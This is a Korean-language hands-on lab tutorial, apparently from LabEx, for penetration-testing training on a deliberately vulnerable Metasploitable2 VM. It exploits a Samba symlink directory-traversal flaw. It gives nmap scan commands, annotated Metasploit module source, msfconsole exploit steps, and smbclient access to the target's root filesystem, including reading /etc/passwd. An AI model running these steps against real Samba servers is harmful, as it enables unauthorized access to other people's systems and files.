Nmap 으로 Metasploitable2 의 Samba 취약점 익스플로잇

NmapBeginner
지금 연습하기

소개

이 랩에서는 Metasploitable2 대상 머신에서 새로운 Samba 취약점을 악용하는 방법을 배우게 됩니다. 과정 전체에서 각 단계별 스크린샷이 제공됩니다. 이 랩을 완료함으로써 Samba 취약점을 악용하기 위한 도구 사용에 대한 실질적인 경험을 얻게 될 것입니다.

이 과정은 순수한 실습 실험 튜토리얼입니다. 실험의 운영을 이해하는 데 도움이 되도록 일부 정보 보안 이론이 소개될 것이며, 실습하는 동안 읽어볼 가치가 있는 가장 중요한 기사들이 추천될 것입니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 초급 레벨의 실험이며 완료율은 100%입니다.학습자들로부터 96%의 긍정적인 리뷰율을 받았습니다.

실험 환경 시작

이 단계에서는 실험을 위해 공격 머신 (Kali Linux 컨테이너) 과 대상 머신 (Metasploitable2 가상 머신) 을 시작합니다.

  1. LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2

대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 소요될 수 있습니다.

  1. 대상 머신에 대한 연결을 ping 하여 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

  1. 다음을 실행하여 Kali Linux 컨테이너를 시작하고 bash 환경에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
  1. Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102

Ctrl+C를 눌러 ping 을 중지합니다.

이제 공격 머신과 대상 머신이 모두 실행 중이며 침투 테스트를 시작할 수 있습니다.

참고: 실수로 현재 bash 를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새 Kali 컨테이너를 시작하고 bash 에 들어가 실험을 계속할 수 있습니다.

대상 호스트의 취약점 스캔

이 단계에서는 Nmap 을 사용하여 대상 호스트의 취약점을 스캔합니다.

먼저, LabEx Kali 환경에서 MSF 터미널에 로그인합니다.

cd ~
service postgresql start
msfdb init
msfconsole

대상 호스트에 대한 정보 수집은 침투 테스트의 첫 번째 단계입니다. Nmap 을 사용하여 대상 호스트의 취약점을 스캔하고 다음 명령을 입력하여 스캔 결과를 /tmp/report.txt 파일에 저장합니다.

nmap -p 1-1000 -T4 -A -v 192.168.122.102 > /tmp/report.txt

여기서 사용된 매개변수는 다음과 같은 의미를 갖습니다.

매개변수 설명
-p 스캔할 포트 범위를 지정합니다.
-T4 Nmap 스캔의 타이밍 정책을 설정하며, 값은 0-5 (높을수록 빠름) 입니다.
-A 운영 체제 감지 및 버전 감지를 활성화합니다.
-v 스캔 과정에서 자세한 정보를 표시합니다.
>/tmp/report.txt 출력을 나중에 분석하기 위해 파일로 리디렉션합니다.

포괄적인 정보 수집을 위해 광범위한 포트 범위를 스캔하므로 이 프로세스는 시간이 걸릴 수 있습니다. 인내심을 가지고 1~2 분 정도 기다려 주십시오.

스캔이 완료되면 Ctrl+D를 누르고 cat 명령을 사용하여 LabEx Kali 터미널에서 파일 내용을 봅니다.

cat /tmp/report.txt

텍스트에서 다음과 유사한 정보를 볼 수 있습니다.

139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)

이는 포트 139 및 445 에서 Samba 서비스가 실행 중임을 나타냅니다.

Samba 취약점 분석

이 단계에서는 Samba 취약점에 대해 배우고 익스플로잇 모듈의 핵심 코드를 분석합니다.

Samba 는 UNIX 와 유사한 운영 체제가 Microsoft Windows 에서 사용하는 SMB/CIFS(Server Message Block/Common Internet File System) 네트워크 프로토콜에 연결할 수 있도록 하는 자유 소프트웨어입니다. 버전 3 은 SMB 폴더 및 프린터에 대한 액세스 및 공유를 허용할 뿐만 아니라 Windows Server 도메인에 도메인 컨트롤러로 통합되거나 Active Directory 에 멤버로 가입할 수도 있습니다. 간단히 말해서, 이 소프트웨어는 Windows 와 UNIX 와 유사한 운영 체제 간의 격차를 해소하여 두 운영 체제 간의 리소스 공유를 가능하게 합니다.

Samba 는 광범위한 응용 프로그램을 가지고 있으므로 Samba 의 취약점은 상당한 영향을 미칠 수 있습니다. Samba 는 선택한 Unix 디렉토리 (모든 하위 디렉토리 포함) 에 대한 네트워크 공유를 생성할 수 있습니다. 이 기능을 통해 Windows 사용자는 일반 Windows 폴더에 액세스하는 것처럼 네트워크를 통해 이러한 Unix 디렉토리에 액세스할 수 있습니다.

이 실험에서 사용된 취약점 인덱스는 다음과 같습니다.

OSVDB-62145

이 실험에서 사용된 samba 모듈의 소스 코드 인덱스는 다음과 같습니다.

symlink_traversal.rb

핵심 코드 설명을 살펴보겠습니다.

  ## Module initialization information, including author information and module introduction
  def initialize
    super(
      'Name'        => 'Samba Symlink Directory Traversal',
      'Description' => %Q{
        This module exploits a directory traversal flaw in the Samba
      CIFS server. To exploit this flaw, a writeable share must be specified.
      The newly created directory will link to the root filesystem.
      },
      'Author'      =>
        [
          'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
          'hdm'    ## metasploit module
        ],
      'References'  =>
        [
          ['OSVDB', '62145'],
          ['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
        ],
      'License'     => MSF_LICENSE
    )

    ## Register option information
    register_options([
      OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
      OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
    ], self.class)

  end


  ## Main execution function
  def run

    ## Function to connect to the server
    print_status("Connecting to the server...")
    connect()
    smb_login()

    ## Connect to the target host
    print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
    self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")

    ## Attempt to enter the root filesystem
    print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
    self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)

    ## Print success message after successful entry
    print_status("Now access the following share to browse the root filesystem:")
    print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
    print_line("")
  end

end

모듈의 핵심 코드를 설명한 후, 다음 명령을 입력하여 MSF 터미널에서 실제 익스플로잇을 수행해 보겠습니다.

search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options

대상 호스트를 설정합니다.

set RHOST 192.168.122.102

공유 디렉토리를 선택합니다.

set SMBSHARE tmp

참고: 이 Samba 취약점의 영향은 선택한 Unix 디렉토리 (모든 하위 디렉토리 포함) 에 대한 네트워크 공유를 생성할 수 있다는 것입니다.

필요한 모든 매개변수를 설정한 후 취약점을 익스플로잇할 수 있습니다.

exploit

성공하면 다음 메시지가 표시됩니다.

[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:

익스플로잇에 성공한 후 exit 명령으로 종료하고 터미널에서 smbclient를 사용하여 연결할 수 있는지 테스트합니다. 암호를 묻는 메시지가 표시되지만 암호를 입력하지 않고 Enter 키를 누를 수 있습니다.

exit
smbclient //192.168.122.102/tmp

연결되면 다음 명령을 실행하여 루트 파일 시스템에 대한 액세스를 확인할 수 있습니다.

more rootfs/etc/passwd

다음과 유사한 출력을 볼 수 있습니다.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]

이는 취약점을 성공적으로 악용하여 생성된 네트워크 공유를 통해 대상 호스트에 액세스했음을 확인합니다.

Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.

요약

이 랩에서는 Metasploitable2 의 Samba 취약점에 대해 배우고, 원래 단계를 사용하여 대상 시스템에서 이 취약점을 악용하는 과정을 안내받았습니다. 그런 다음 생성된 네트워크 공유를 사용하여 손상된 대상 호스트에 로그인했습니다. 이 랩에서 다룬 주요 내용은 다음과 같습니다.

  • Linux 기본 명령어
  • Nmap 취약점 스캔
  • 스캔된 Samba 취약점 분석
  • symlink_traversal 모듈의 핵심 코드 설명
  • 네트워크 파일 공유를 사용하여 대상 호스트에 로그인

침투 테스트 프로세스에 대한 이해를 강화하기 위해 이러한 단계를 반복적으로 연습하는 것이 좋습니다. 권장 읽기 섹션에서는 Samba 취약점에 대한 지식을 심화할 수 있는 추가 리소스를 제공합니다.